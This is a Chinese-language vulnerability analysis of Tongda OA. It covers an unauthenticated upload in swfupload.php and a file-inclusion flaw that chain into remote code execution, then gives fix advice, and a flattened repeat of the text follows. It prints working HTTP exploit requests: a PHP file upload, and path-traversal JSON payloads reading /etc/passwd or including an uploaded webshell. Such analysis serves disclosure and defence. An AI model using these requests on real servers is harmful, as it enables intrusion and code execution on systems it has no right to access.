通达OA文件上传+任意文件包含漏洞分析
字数 929 2025-08-25 22:58:20

通达OA文件上传+任意文件包含漏洞分析

漏洞概述

通达OA系统存在两处安全漏洞:

  1. 未授权文件上传漏洞(general/file_folder/swfupload.php)
  2. 任意文件包含漏洞

这两个漏洞可被攻击者组合利用,实现远程代码执行。

文件上传漏洞分析

漏洞位置

general/file_folder/swfupload.php

漏洞成因

  1. 未授权访问:该文件未对用户权限进行校验
  2. 变量覆盖:通过extract($_POST)实现变量覆盖
  3. 文件上传逻辑缺陷:上传文件后会将文件信息写入数据库并保存到本地文件

关键代码分析

// 变量覆盖漏洞
extract($_POST);

// 文件上传处理
if (is_uploaded_file($_FILES["Filedata"]["tmp_name"])) {
    // 文件上传逻辑...
    $query = "insert into FILE_CONTENT(...) values (...)";
    exequery(TD::conn(), $query);
    
    // 将SQL语句写入文件
    if ($SORT_ID == "0") {
        file_put_contents("aa.txt", $query);
    } else {
        file_put_contents("bb.txt", $query);
    }
}

漏洞利用条件

  1. 能够发送POST请求
  2. 上传的文件大小不超过系统限制

漏洞利用步骤

  1. 构造文件上传表单:
POST /general/file_folder/swfupload.php HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx

------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="SORT_ID"

1
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryxxxx--
  1. 上传成功后,文件路径可通过以下方式获取:

    • 访问bb.txt获取SQL语句
    • 从SQL语句中提取文件路径信息
  2. 上传后的文件路径格式:
    /general/../../attach/file_folder/2003/xxx.xxxx.xxx

注入点分析

$SORT_ID参数可控,可能导致SQL注入:

$query = "insert into FILE_CONTENT(SORT_ID,...) values ($SORT_ID,...)";

但由于inc/common.inc.php中的安全检查,实际利用受限。

任意文件包含漏洞分析

漏洞位置

任意可访问的PHP文件(通过JSON参数控制)

漏洞成因

  1. 未对$url参数进行严格过滤
  2. 文件包含逻辑存在缺陷

关键代码分析

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    
    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }
        
        if ((strpos($url, "general/") !== false) || 
            (strpos($url, "ispirit/") !== false) || 
            (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }
}

漏洞利用条件

  1. 能够发送包含JSON参数的请求
  2. 知道服务器上存在的文件路径

漏洞利用步骤

  1. 构造包含恶意JSON的请求:
POST /vulnerable.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

json={"url":"general/../../../../etc/passwd"}
  1. 结合文件上传漏洞,可实现代码执行:
json={"url":"general/../../attach/file_folder/2003/uploaded_file.php"}

漏洞组合利用

  1. 利用文件上传漏洞上传Webshell
  2. 利用文件包含漏洞包含上传的Webshell
  3. 实现远程代码执行

修复建议

  1. 对文件上传功能添加权限验证
  2. 禁用extract()函数或严格过滤输入
  3. 对文件包含功能添加严格的白名单限制
  4. 更新到最新版本的通达OA系统

参考链接

  • https://forum.90sec.com/t/topic/883

总结

通达OA系统的这两个漏洞可被组合利用,形成完整的攻击链。文件上传漏洞提供了攻击入口,而文件包含漏洞则扩大了攻击影响。开发人员应重视此类安全问题,在代码中实施严格的安全检查机制。

通达OA文件上传+任意文件包含漏洞分析 漏洞概述 通达OA系统存在两处安全漏洞: 未授权文件上传漏洞(general/file_ folder/swfupload.php) 任意文件包含漏洞 这两个漏洞可被攻击者组合利用,实现远程代码执行。 文件上传漏洞分析 漏洞位置 general/file_folder/swfupload.php 漏洞成因 未授权访问 :该文件未对用户权限进行校验 变量覆盖 :通过 extract($_POST) 实现变量覆盖 文件上传逻辑缺陷 :上传文件后会将文件信息写入数据库并保存到本地文件 关键代码分析 漏洞利用条件 能够发送POST请求 上传的文件大小不超过系统限制 漏洞利用步骤 构造文件上传表单: 上传成功后,文件路径可通过以下方式获取: 访问 bb.txt 获取SQL语句 从SQL语句中提取文件路径信息 上传后的文件路径格式: /general/../../attach/file_folder/2003/xxx.xxxx.xxx 注入点分析 $SORT_ID 参数可控,可能导致SQL注入: 但由于 inc/common.inc.php 中的安全检查,实际利用受限。 任意文件包含漏洞分析 漏洞位置 任意可访问的PHP文件(通过JSON参数控制) 漏洞成因 未对 $url 参数进行严格过滤 文件包含逻辑存在缺陷 关键代码分析 漏洞利用条件 能够发送包含JSON参数的请求 知道服务器上存在的文件路径 漏洞利用步骤 构造包含恶意JSON的请求: 结合文件上传漏洞,可实现代码执行: 漏洞组合利用 利用文件上传漏洞上传Webshell 利用文件包含漏洞包含上传的Webshell 实现远程代码执行 修复建议 对文件上传功能添加权限验证 禁用 extract() 函数或严格过滤输入 对文件包含功能添加严格的白名单限制 更新到最新版本的通达OA系统 参考链接 https://forum.90sec.com/t/topic/883 总结 通达OA系统的这两个漏洞可被组合利用,形成完整的攻击链。文件上传漏洞提供了攻击入口,而文件包含漏洞则扩大了攻击影响。开发人员应重视此类安全问题,在代码中实施严格的安全检查机制。